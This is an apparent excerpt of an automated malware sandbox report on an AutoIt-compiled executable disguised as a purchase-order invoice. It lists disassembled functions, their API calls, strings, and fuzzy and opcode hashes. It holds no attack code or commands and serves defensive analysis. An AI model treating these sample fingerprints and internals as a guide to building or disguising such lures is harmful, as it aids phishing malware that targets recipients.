                                                                                            • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                            • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                                            Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                            • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                            • _wcslen.LIBCMT ref: 00436B79
                                                                                            • _wcscpy.LIBCMT ref: 00436B9F
                                                                                            • _wcscat.LIBCMT ref: 00436BC0
                                                                                            • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                            • _wcscat.LIBCMT ref: 00436C2A
                                                                                            • _wcscat.LIBCMT ref: 00436C31
                                                                                            • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                            • _wcsncpy.LIBCMT ref: 00436C62
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                            • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                            • API String ID: 1503153545-1459072770
                                                                                            • Opcode ID: 8f115a8dcca366765dccafad874a9911a33c709b0333e454bef2361e27f7839d
                                                                                            • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                            • Opcode Fuzzy Hash: 8f115a8dcca366765dccafad874a9911a33c709b0333e454bef2361e27f7839d
                                                                                            • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                            Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                            • _fseek.LIBCMT ref: 004527FC
                                                                                            • __wsplitpath.LIBCMT ref: 0045285C
                                                                                            • _wcscpy.LIBCMT ref: 00452871
                                                                                            • _wcscat.LIBCMT ref: 00452886
                                                                                            • __wsplitpath.LIBCMT ref: 004528B0
                                                                                            • _wcscat.LIBCMT ref: 004528C8
                                                                                            • _wcscat.LIBCMT ref: 004528DD
                                                                                            • __fread_nolock.LIBCMT ref: 00452914
                                                                                            • __fread_nolock.LIBCMT ref: 00452925
                                                                                            • __fread_nolock.LIBCMT ref: 00452944
                                                                                            • __fread_nolock.LIBCMT ref: 00452955
                                                                                            • __fread_nolock.LIBCMT ref: 00452976
                                                                                            • __fread_nolock.LIBCMT ref: 00452987
                                                                                            • __fread_nolock.LIBCMT ref: 00452998
                                                                                            • __fread_nolock.LIBCMT ref: 004529A9
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                            • __fread_nolock.LIBCMT ref: 00452A39
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                            • String ID:
                                                                                            • API String ID: 2054058615-0
                                                                                            • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                            • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                            • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                            • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                            Function 004559A8 Relevance: 33.7, APIs: 18, Strings: 1, Instructions: 401COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 0
                                                                                            • API String ID: 0-4108050209
                                                                                            • Opcode ID: 3341d5ccd3f52121a0b9d5f5b9edb9a4c3413db68c9c5c7597b80800bbf161ae
                                                                                            • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                            • Opcode Fuzzy Hash: 3341d5ccd3f52121a0b9d5f5b9edb9a4c3413db68c9c5c7597b80800bbf161ae
                                                                                            • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                            Function 004700B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                                            • GetClientRect.USER32(?,?), ref: 004701FA
                                                                                            • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                                            • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                                            • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                                            • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                                            • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                                            • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                                            • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                                            • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                                            • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                                            • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                                            • GetClientRect.USER32(?,?), ref: 00470371
                                                                                            • GetStockObject.GDI32(00000011), ref: 00470391
                                                                                            • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                                            • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                                            • String ID: AutoIt v3 GUI
                                                                                            • API String ID: 867697134-248962490
                                                                                            • Opcode ID: 0d702e1f111dc4b461eb7f98f3a5a74387d5f37c8fb6fd827a42ca67ae032642
                                                                                            • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                                            • Opcode Fuzzy Hash: 0d702e1f111dc4b461eb7f98f3a5a74387d5f37c8fb6fd827a42ca67ae032642
                                                                                            • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                                            Function 00448759 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window
                                                                                            • String ID: 0
                                                                                            • API String ID: 2353593579-4108050209
                                                                                            • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                            • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                            • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                            • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                            Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetSysColor.USER32 ref: 0044A11D
                                                                                            • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                            • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                            • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                            • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                            • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                            • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                            • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                            • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                            • GetWindowDC.USER32 ref: 0044A277
                                                                                            • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                            • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                            • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                            • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                            • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                            • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                            • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                            • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                            • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                            • String ID:
                                                                                            • API String ID: 1744303182-0
                                                                                            • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                            • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                            • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                            • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                            Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicoll$__wcsnicmp
                                                                                            • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                            • API String ID: 790654849-1810252412
                                                                                            • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                            • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                            • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                            • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                            Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                            • API String ID: 0-1896584978
                                                                                            • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                            • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                            • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                            • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                            Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitVariant
                                                                                            • String ID:
                                                                                            • API String ID: 1927566239-0
                                                                                            • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                            • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                            • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                            • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                            Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                            • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                            • IsWindow.USER32(?), ref: 0046DBDE
                                                                                            • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                            • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                            • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                              • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                            • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                            • API String ID: 1322021666-1919597938
                                                                                            • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                            • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                            • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                            • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                            Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicoll$IconLoad
                                                                                            • String ID: blank$info$question$stop$warning
                                                                                            • API String ID: 2485277191-404129466
                                                                                            • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                            • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                            • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                            • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                            Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                            • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                            • strncnt.LIBCMT ref: 00428646
                                                                                            • strncnt.LIBCMT ref: 0042865A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: strncnt$CompareErrorLastString
                                                                                            • String ID:
                                                                                            • API String ID: 1776594460-0
                                                                                            • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                            • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                            • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                            • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                            Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                            • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                            • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                            • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                            • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                                            • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                            • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                            • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                            • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                            • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                            • GetDesktopWindow.USER32 ref: 00454708
                                                                                            • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                            • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                            • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                            • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                            • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                            • String ID:
                                                                                            • API String ID: 3869813825-0
                                                                                            • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
